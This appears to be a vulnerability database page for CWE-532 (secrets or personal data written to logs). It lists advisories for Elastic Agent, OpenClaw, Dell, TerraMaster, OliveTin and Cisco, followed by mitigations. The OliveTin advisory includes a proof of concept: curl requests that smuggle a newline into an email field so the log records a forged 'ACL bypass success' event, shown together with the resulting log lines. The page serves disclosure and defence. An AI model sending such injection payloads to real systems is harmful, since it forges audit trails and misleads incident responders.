CWE-532
AllowedInsertion of Sensitive Information into Log File
Abstraction: Base · Status: Incomplete
The product writes sensitive information to a log file.
1739 vulnerabilities reference this CWE, most recent first.
GHSA-XQC7-Q7JR-CG3W
Vulnerability from github – Published: 2023-12-12 21:31 – Updated: 2023-12-12 21:31An issue was discovered by Elastic whereby Elastic Agent would log a raw event in its own logs at the WARN or ERROR level if ingesting that event to Elasticsearch failed with any 4xx HTTP status code except 409 or 429. Depending on the nature of the event that Elastic Agent attempted to ingest, this could lead to the insertion of sensitive or private information in the Elastic Agent logs. Elastic has released 8.11.3 and 7.17.16 that prevents this issue by limiting these types of logs to DEBUG level logging, which is disabled by default.
{
"affected": [],
"aliases": [
"CVE-2023-6687"
],
"database_specific": {
"cwe_ids": [
"CWE-532"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-12T19:15:08Z",
"severity": "MODERATE"
},
"details": "An issue was discovered by Elastic whereby Elastic Agent would log a raw event in its own logs at the WARN or ERROR level if ingesting that event to Elasticsearch failed with any 4xx HTTP status code except 409 or 429. Depending on the nature of the event that Elastic Agent attempted to ingest, this could lead to the insertion of sensitive or private information in the Elastic Agent logs. Elastic has released 8.11.3 and 7.17.16 that prevents this issue by limiting these types of logs to DEBUG level logging, which is disabled by default.",
"id": "GHSA-xqc7-q7jr-cg3w",
"modified": "2023-12-12T21:31:13Z",
"published": "2023-12-12T21:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6687"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/beats-and-elastic-agent-8-11-3-7-17-16-security-update-esa-2023-30/349180"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XQG6-P6HX-F752
Vulnerability from github – Published: 2026-03-31 12:31 – Updated: 2026-03-31 12:31OpenClaw before 2026.3.13 contains an information disclosure vulnerability in the fetchRemoteMedia function that exposes Telegram bot tokens in error messages. When media downloads fail, the original Telegram file URLs containing bot tokens are embedded in MediaFetchError strings and leaked to logs and error surfaces.
{
"affected": [],
"aliases": [
"CVE-2026-32982"
],
"database_specific": {
"cwe_ids": [
"CWE-532"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-31T12:16:29Z",
"severity": "HIGH"
},
"details": "OpenClaw before 2026.3.13 contains an information disclosure vulnerability in the fetchRemoteMedia function that exposes Telegram bot tokens in error messages. When media downloads fail, the original Telegram file URLs containing bot tokens are embedded in MediaFetchError strings and leaked to logs and error surfaces.",
"id": "GHSA-xqg6-p6hx-f752",
"modified": "2026-03-31T12:31:36Z",
"published": "2026-03-31T12:31:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-xwcj-hwhf-h378"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32982"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/7a53eb7ea8295b08be137e231c9a98c1a79b5cd5"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-telegram-bot-token-exposure-in-media-fetch-error-logs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XR7G-R5XG-PQ95
Vulnerability from github – Published: 2023-07-21 06:30 – Updated: 2024-04-04 06:18Dell PowerStore versions prior to 3.5.0.1 contain an insertion of sensitive information into log file vulnerability. A high privileged malicious user could potentially exploit this vulnerability, leading to sensitive information disclosure.
{
"affected": [],
"aliases": [
"CVE-2023-32478"
],
"database_specific": {
"cwe_ids": [
"CWE-532"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-21T06:15:09Z",
"severity": "MODERATE"
},
"details": "\nDell PowerStore versions prior to 3.5.0.1 contain an insertion of sensitive information into log file vulnerability. A high privileged malicious user could potentially exploit this vulnerability, leading to sensitive information disclosure.\n\n",
"id": "GHSA-xr7g-r5xg-pq95",
"modified": "2024-04-04T06:18:25Z",
"published": "2023-07-21T06:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32478"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000215171/dsa-2023-173-dell-powerstore-family-security-update-for-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XRQW-7396-FJM2
Vulnerability from github – Published: 2022-09-03 00:00 – Updated: 2022-09-09 00:00Dell PowerScale OneFS, versions 9.0.0 up to and including 9.1.0.20, 9.2.1.13, 9.3.0.6, and 9.4.0.3 , contain an insertion of sensitive information in log files vulnerability. A remote unprivileged attacker could potentially exploit this vulnerability, leading to exposure of this sensitive data.
{
"affected": [],
"aliases": [
"CVE-2022-34369"
],
"database_specific": {
"cwe_ids": [
"CWE-532"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-02T18:15:00Z",
"severity": "HIGH"
},
"details": "Dell PowerScale OneFS, versions 9.0.0 up to and including 9.1.0.20, 9.2.1.13, 9.3.0.6, and 9.4.0.3 , contain an insertion of sensitive information in log files vulnerability. A remote unprivileged attacker could potentially exploit this vulnerability, leading to exposure of this sensitive data.",
"id": "GHSA-xrqw-7396-fjm2",
"modified": "2022-09-09T00:00:58Z",
"published": "2022-09-03T00:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34369"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000202171/dsa-2022-172-dell-powerscale-onefs-security-update-for-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XW65-R59V-QPQC
Vulnerability from github – Published: 2022-05-24 16:59 – Updated: 2024-04-04 02:33An issue was discovered on TerraMaster FS-210 4.0.19 devices. An unauthenticated attacker can download log files via the include/makecvs.php?Event= substring.
{
"affected": [],
"aliases": [
"CVE-2019-18385"
],
"database_specific": {
"cwe_ids": [
"CWE-532"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-23T21:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered on TerraMaster FS-210 4.0.19 devices. An unauthenticated attacker can download log files via the include/makecvs.php?Event= substring.",
"id": "GHSA-xw65-r59v-qpqc",
"modified": "2024-04-04T02:33:49Z",
"published": "2022-05-24T16:59:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18385"
},
{
"type": "WEB",
"url": "https://github.com/gusrmsdlrh/CVE-Reserved3/blob/master/README.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XWC6-4MCF-7V2V
Vulnerability from github – Published: 2025-01-30 06:30 – Updated: 2025-01-30 06:30Dell Networking Switches running Enterprise SONiC OS, version(s) prior to 4.4.1 and 4.2.3, contain(s) an Insertion of Sensitive Information into Log File vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Information exposure.
{
"affected": [],
"aliases": [
"CVE-2025-23374"
],
"database_specific": {
"cwe_ids": [
"CWE-532"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-30T05:15:10Z",
"severity": "HIGH"
},
"details": "Dell Networking Switches running Enterprise SONiC OS, version(s) prior to 4.4.1 and 4.2.3, contain(s) an Insertion of Sensitive Information into Log File vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Information exposure.",
"id": "GHSA-xwc6-4mcf-7v2v",
"modified": "2025-01-30T06:30:49Z",
"published": "2025-01-30T06:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23374"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000278568/dsa-2025-057-security-update-for-dell-enterprise-sonic-distribution-vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XWCJ-HWHF-H378
Vulnerability from github – Published: 2026-03-16 20:40 – Updated: 2026-03-16 20:40Summary
openclaw versions <= 2026.3.12 could include raw Telegram bot tokens in media fetch error strings when inbound Telegram media downloads failed.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.3.12 - Fixed version:
2026.3.13
Details
The vulnerable path was fetchRemoteMedia() in src/media/fetch.ts. In affected releases, fetch and HTTP error paths embedded the original Telegram file URL into MediaFetchError messages. For Telegram media, those URLs can include /file/bot<TOKEN>/..., so the resulting error strings could leak bot tokens into logs, console output, or any downstream error surface that rendered the exception text.
This issue is in scope under OpenClaw's trust model because the leaked secret is an OpenClaw-operated integration credential, not a user-supplied third-party secret.
Fix
openclaw@2026.3.13 redacts sensitive media URLs before constructing fetch error messages. Current code routes the source URL and follow-on error paths through redactMediaUrl() / redactSensitiveText(), so Telegram bot tokens are no longer emitted in those error strings.
Regression coverage exists in src/media/fetch.test.ts (redacts Telegram bot tokens from fetch failure messages and redacts Telegram bot tokens from HTTP error messages).
Fix Commit(s)
7a53eb7ea8295b08be137e231c9a98c1a79b5cd5
Thanks @space08 for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.3.12"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-532"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T20:40:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n`openclaw` versions `\u003c= 2026.3.12` could include raw Telegram bot tokens in media fetch error strings when inbound Telegram media downloads failed.\n\n### Affected Packages / Versions\n- Package: `openclaw` (`npm`)\n- Affected versions: `\u003c= 2026.3.12`\n- Fixed version: `2026.3.13`\n\n### Details\nThe vulnerable path was `fetchRemoteMedia()` in `src/media/fetch.ts`. In affected releases, fetch and HTTP error paths embedded the original Telegram file URL into `MediaFetchError` messages. For Telegram media, those URLs can include `/file/bot\u003cTOKEN\u003e/...`, so the resulting error strings could leak bot tokens into logs, console output, or any downstream error surface that rendered the exception text.\n\nThis issue is in scope under OpenClaw\u0027s trust model because the leaked secret is an OpenClaw-operated integration credential, not a user-supplied third-party secret.\n\n### Fix\n`openclaw@2026.3.13` redacts sensitive media URLs before constructing fetch error messages. Current code routes the source URL and follow-on error paths through `redactMediaUrl()` / `redactSensitiveText()`, so Telegram bot tokens are no longer emitted in those error strings.\n\nRegression coverage exists in `src/media/fetch.test.ts` (`redacts Telegram bot tokens from fetch failure messages` and `redacts Telegram bot tokens from HTTP error messages`).\n\n### Fix Commit(s)\n- `7a53eb7ea8295b08be137e231c9a98c1a79b5cd5`\n\nThanks @space08 for reporting.",
"id": "GHSA-xwcj-hwhf-h378",
"modified": "2026-03-16T20:40:13Z",
"published": "2026-03-16T20:40:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-xwcj-hwhf-h378"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/7a53eb7ea8295b08be137e231c9a98c1a79b5cd5"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw Telegram media fetch errors exposed bot tokens in logged file URLs"
}
GHSA-XX6G-43W2-9G6G
Vulnerability from github – Published: 2026-03-12 14:20 – Updated: 2026-03-12 14:20Summary
The typeSafetyCheckEmail() function in service/internal/executor/arguments.go calls log.Errorf() on every invocation including when validation succeeds (err == nil). This means every email address submitted by any user is written to the application's ERROR-level log unconditionally. Because the raw user-supplied value is logged without sanitization, an attacker can inject newline characters to forge arbitrary structured log entries (log injection). In deployments using centralized logging (ELK, Splunk, Grafana), the injected lines are parsed as real events, enabling fake security alerts, audit trail manipulation, and persistent misdirection of incident response.
Details
File: service/internal/executor/arguments.go Line: 254 Version confirmed: 3000.11.1
Vulnerable code
func typeSafetyCheckEmail(value string) error {
_, err := mail.ParseAddress(value)
log.Errorf("Email check: %v, %v", err, value)
if err != nil {
return err
}
return nil
}
The log.Errorf call was likely introduced as a debug statement during development and was never removed before release. It has three distinct security consequences:
- PII Exposure via ERROR logs
Every email address (valid or invalid) submitted to any action with type: email is written to the ERROR log. In production deployments, ERROR logs are typically forwarded to centralized systems (Splunk, ELK, Datadog) and retained long-term. Email addresses constitute PII under
- Log Injection
The %v format verb renders the raw value string without escaping newlines or control characters. An attacker who can reach any action with a type: email argument can send:
alice@example.com\nlevel="error" msg="ACL bypass success" username="admin"
OliveTin writes two lines to the log. Structured log parsers (logfmt, JSON) treat the second line as an independent real event. This enables:
- Forged security alerts that trigger real PagerDuty/Opsgenie pages
- Audit trail manipulation hiding real events among noise
-
False positives that exhaust on-call responder attention (alert fatigue)
-
Alert Fatigue
Because even successful validations emit ERROR-level entries, any production deployment with email-type actions generates continuous spurious error alerts. Monitoring systems configured to alert on level=error will fire on every normal form submission.
Affected execution: mode: exec: only The shell: execution mode blocks email type arguments via checkShellArgumentSafety() before typeSafetyCheckEmail() is ever reached. The vulnerability is only reachable when the action uses exec: mode which is the recommended and documented mode for email-type arguments (OliveTin explicitly instructs users to use exec: with email type).
PoC
Get the binding ID
BINDING=$(curl -s -X POST http://localhost:1337/api/GetDashboard \
-H "Content-Type: application/json" -d '{}' | \
python3 -c "
import sys,json
d=json.load(sys.stdin)
def f(o):
if isinstance(o,dict):
a=o.get('action')
if a and isinstance(a,dict):
for arg in a.get('arguments',[]):
if arg.get('type')=='email': print(a['bindingId'])
[f(v) for v in o.values()]
elif isinstance(o,list): [f(i) for i in o]
f(d)")
echo "Binding: $BINDING"
Trigger PII exposure (valid email --> ERROR log):
curl -s -X POST http://localhost:1337/api/StartAction \
-H "Content-Type: application/json" \
-d "{\"bindingId\":\"$BINDING\",\"arguments\":[{\"name\":\"recipient\",\"value\":\"alice@example.com\"}]}"
Observed server log (confirmed on 3000.11.1):
docker logs olivetin-test 2>&1 | grep -E "Email check|ACL_bypass" | tail -5
level="error" msg="Email check: <nil>, alice@example.com"
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\", a@b.com\nlevel=error msg=ACL_bypass username=admin"
level="warning" msg="mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\""
level="error" msg="Email check: <nil>, alice@example.com"
Trigger log injection:
curl -s -X POST http://localhost:1337/api/StartAction \
-H "Content-Type: application/json" \
-d "{\"bindingId\":\"$BINDING\",\"arguments\":[{\"name\":\"recipient\",\"value\":\"a@b.com\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\"}]}"
Observed server log injected line appears as a real event:
docker logs olivetin-test 2>&1 | grep -E "Email check|ACL_bypass" | tail -5
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\", a@b.com\nlevel=error msg=ACL_bypass username=admin"
level="warning" msg="mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\""
level="error" msg="Email check: <nil>, alice@example.com"
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""
Impact
- End users whose email addresses are stored in ERROR logs without consent GDPR/CCPA violation risk for operators
- Security operations teams whose SIEM/log aggregation systems can be fed forged events by any user who can submit email-type action arguments
- On-call engineers subjected to continuous false positive ERROR alerts from valid form submissions
- Operators who use type: email for informal token/API key validation those secrets appear in ERROR logs
Recommendation
func typeSafetyCheckEmail(value string) error {
_, err := mail.ParseAddress(value)
if err != nil {
log.WithField("type", "email").Debugf("Email argument type check failed")
return err
}
return nil
}
Only log on failure, at DEBUG level, and never log the value itself.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/OliveTin/OliveTin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3000.11.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-117",
"CWE-532"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-12T14:20:22Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe typeSafetyCheckEmail() function in service/internal/executor/arguments.go calls log.Errorf() on every invocation including when validation succeeds (err == nil). This means every email address submitted by any user is written to the application\u0027s ERROR-level log unconditionally. Because the raw user-supplied value is logged without sanitization, an attacker can inject newline characters to forge arbitrary structured log entries (log injection). In deployments using centralized logging (ELK, Splunk, Grafana), the injected lines are parsed as real events, enabling fake security alerts, audit trail manipulation, and persistent misdirection of incident response.\n\n### Details\nFile: service/internal/executor/arguments.go Line: 254\nVersion confirmed: 3000.11.1\n\n### Vulnerable code\n\n```go\nfunc typeSafetyCheckEmail(value string) error {\n _, err := mail.ParseAddress(value)\n log.Errorf(\"Email check: %v, %v\", err, value) \n if err != nil {\n return err\n }\n return nil\n}\n```\n\nThe log.Errorf call was likely introduced as a debug statement during development and was never removed before release. It has three distinct security consequences:\n\n1. PII Exposure via ERROR logs\n\nEvery email address (valid or invalid) submitted to any action with type: email is written to the ERROR log. In production deployments, ERROR logs are typically forwarded to centralized systems (Splunk, ELK, Datadog) and retained long-term. Email addresses constitute PII under \n\n3. Log Injection\n\nThe %v format verb renders the raw value string without escaping newlines or control characters. An attacker who can reach any action with a type: email argument can send:\n\n`alice@example.com\\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\"`\n\nOliveTin writes two lines to the log. Structured log parsers (logfmt, JSON) treat the second line as an independent real event. This enables:\n\n- Forged security alerts that trigger real PagerDuty/Opsgenie pages\n- Audit trail manipulation hiding real events among noise\n- False positives that exhaust on-call responder attention (alert fatigue)\n\n4. Alert Fatigue\n\nBecause even successful validations emit ERROR-level entries, any production deployment with email-type actions generates continuous spurious error alerts. Monitoring systems configured to alert on level=error will fire on every normal form submission.\n\nAffected execution:\nmode: exec: only \nThe shell: execution mode blocks email type arguments via checkShellArgumentSafety() before typeSafetyCheckEmail() is ever reached. The vulnerability is only reachable when the action uses exec: mode which is the recommended and documented mode for email-type arguments (OliveTin explicitly instructs users to use exec: with email type).\n\n## PoC\n\n### Get the binding ID\n\n```bash\nBINDING=$(curl -s -X POST http://localhost:1337/api/GetDashboard \\\n -H \"Content-Type: application/json\" -d \u0027{}\u0027 | \\\n python3 -c \"\nimport sys,json\nd=json.load(sys.stdin)\ndef f(o):\n if isinstance(o,dict):\n a=o.get(\u0027action\u0027)\n if a and isinstance(a,dict):\n for arg in a.get(\u0027arguments\u0027,[]):\n if arg.get(\u0027type\u0027)==\u0027email\u0027: print(a[\u0027bindingId\u0027])\n [f(v) for v in o.values()]\n elif isinstance(o,list): [f(i) for i in o]\nf(d)\")\necho \"Binding: $BINDING\"\n```\n\n### Trigger PII exposure (valid email --\u003e ERROR log):\n\n```bash\ncurl -s -X POST http://localhost:1337/api/StartAction \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"bindingId\\\":\\\"$BINDING\\\",\\\"arguments\\\":[{\\\"name\\\":\\\"recipient\\\",\\\"value\\\":\\\"alice@example.com\\\"}]}\"\n```\n\n### Observed server log (confirmed on 3000.11.1):\n\n```bash\ndocker logs olivetin-test 2\u003e\u00261 | grep -E \"Email check|ACL_bypass\" | tail -5\nlevel=\"error\" msg=\"Email check: \u003cnil\u003e, alice@example.com\"\nlevel=\"error\" msg=\"Email check: mail: expected single address, got \\\"\\\\nlevel=\\\\\\\"error\\\\\\\" msg=\\\\\\\"ACL bypass success\\\\\\\" username=\\\\\\\"admin\\\\\\\"\\\", a@b.com\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\"\nlevel=\"error\" msg=\"Email check: mail: expected single address, got \\\"\\\\nlevel=error msg=ACL_bypass username=admin\\\", a@b.com\\nlevel=error msg=ACL_bypass username=admin\"\nlevel=\"warning\" msg=\"mail: expected single address, got \\\"\\\\nlevel=error msg=ACL_bypass username=admin\\\"\"\nlevel=\"error\" msg=\"Email check: \u003cnil\u003e, alice@example.com\"\n```\n\n### Trigger log injection:\n\n```bash\ncurl -s -X POST http://localhost:1337/api/StartAction \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"bindingId\\\":\\\"$BINDING\\\",\\\"arguments\\\":[{\\\"name\\\":\\\"recipient\\\",\\\"value\\\":\\\"a@b.com\\nlevel=\\\\\\\"error\\\\\\\" msg=\\\\\\\"ACL bypass success\\\\\\\" username=\\\\\\\"admin\\\\\\\"\\\"}]}\"\n```\n\n### Observed server log injected line appears as a real event:\n\n```bash\ndocker logs olivetin-test 2\u003e\u00261 | grep -E \"Email check|ACL_bypass\" | tail -5\nlevel=\"error\" msg=\"Email check: mail: expected single address, got \\\"\\\\nlevel=\\\\\\\"error\\\\\\\" msg=\\\\\\\"ACL bypass success\\\\\\\" username=\\\\\\\"admin\\\\\\\"\\\", a@b.com\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\"\nlevel=\"error\" msg=\"Email check: mail: expected single address, got \\\"\\\\nlevel=error msg=ACL_bypass username=admin\\\", a@b.com\\nlevel=error msg=ACL_bypass username=admin\"\nlevel=\"warning\" msg=\"mail: expected single address, got \\\"\\\\nlevel=error msg=ACL_bypass username=admin\\\"\"\nlevel=\"error\" msg=\"Email check: \u003cnil\u003e, alice@example.com\"\nlevel=\"error\" msg=\"Email check: mail: expected single address, got \\\"\\\\nlevel=\\\\\\\"error\\\\\\\" msg=\\\\\\\"ACL bypass success\\\\\\\" username=\\\\\\\"admin\\\\\\\"\\\", a@b.com\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\"\n```\n\n### Impact\n- End users whose email addresses are stored in ERROR logs without consent GDPR/CCPA violation risk for operators\n- Security operations teams whose SIEM/log aggregation systems can be fed forged events by any user who can submit email-type action arguments\n- On-call engineers subjected to continuous false positive ERROR alerts from valid form submissions\n- Operators who use type: email for informal token/API key validation those secrets appear in ERROR logs\n\n### Recommendation\n\n```go\nfunc typeSafetyCheckEmail(value string) error {\n _, err := mail.ParseAddress(value)\n if err != nil {\n log.WithField(\"type\", \"email\").Debugf(\"Email argument type check failed\")\n return err\n }\n return nil\n}\n```\n\n`Only log on failure, at DEBUG level, and never log the value itself.`",
"id": "GHSA-xx6g-43w2-9g6g",
"modified": "2026-03-12T14:20:39Z",
"published": "2026-03-12T14:20:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-xx6g-43w2-9g6g"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/commit/bc5e9fbe1e22ff87a4b277cb56605a46a10e561a"
},
{
"type": "PACKAGE",
"url": "https://github.com/OliveTin/OliveTin"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OliveTin\u0027s email argument makes compliance harder, enables log injection"
}
GHSA-XXC2-9VRH-PFJM
Vulnerability from github – Published: 2024-10-02 18:31 – Updated: 2024-10-02 18:31A vulnerability in a logging function of Cisco Nexus Dashboard Insights could allow an attacker with access to a tech support file to view sensitive information.
This vulnerability exists because remote controller credentials are recorded in an internal log that is stored in the tech support file. An attacker could exploit this vulnerability by accessing a tech support file that is generated from an affected system. A successful exploit could allow the attacker to view remote controller admin credentials in clear text. Note: Best practice is to store debug logs and tech support files safely and to share them only with trusted parties because they may contain sensitive information.
{
"affected": [],
"aliases": [
"CVE-2024-20491"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-532"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-02T17:15:17Z",
"severity": "MODERATE"
},
"details": "A vulnerability in a logging function of Cisco Nexus Dashboard Insights could allow an attacker with access to a tech support file to view sensitive information.\n\nThis vulnerability exists because remote controller credentials are recorded in an internal log that is stored in the tech support file. An attacker could exploit this vulnerability by accessing a tech support file that is generated from an affected system. A successful exploit could allow the attacker to view remote controller admin credentials in clear text.\nNote: Best practice is to store debug logs and tech support files safely and to share them only with trusted parties because they may contain sensitive information.",
"id": "GHSA-xxc2-9vrh-pfjm",
"modified": "2024-10-02T18:31:33Z",
"published": "2024-10-02T18:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20491"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ndhs-idv-Bk8VqEDc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.
Mitigation
Remove debug log files before deploying the application into production.
Mitigation
Protect log files against unauthorized read/write.
Mitigation
Adjust configurations appropriately when software is transitioned from a debug state to production.
CAPEC-215: Fuzzing for application mapping
An attacker sends random, malformed, or otherwise unexpected messages to a target application and observes the application's log or error messages returned. The attacker does not initially know how a target will respond to individual messages but by attempting a large number of message variants they may find a variant that trigger's desired behavior. In this attack, the purpose of the fuzzing is to observe the application's log and error messages, although fuzzing a target can also sometimes cause the target to enter an unstable state, causing a crash.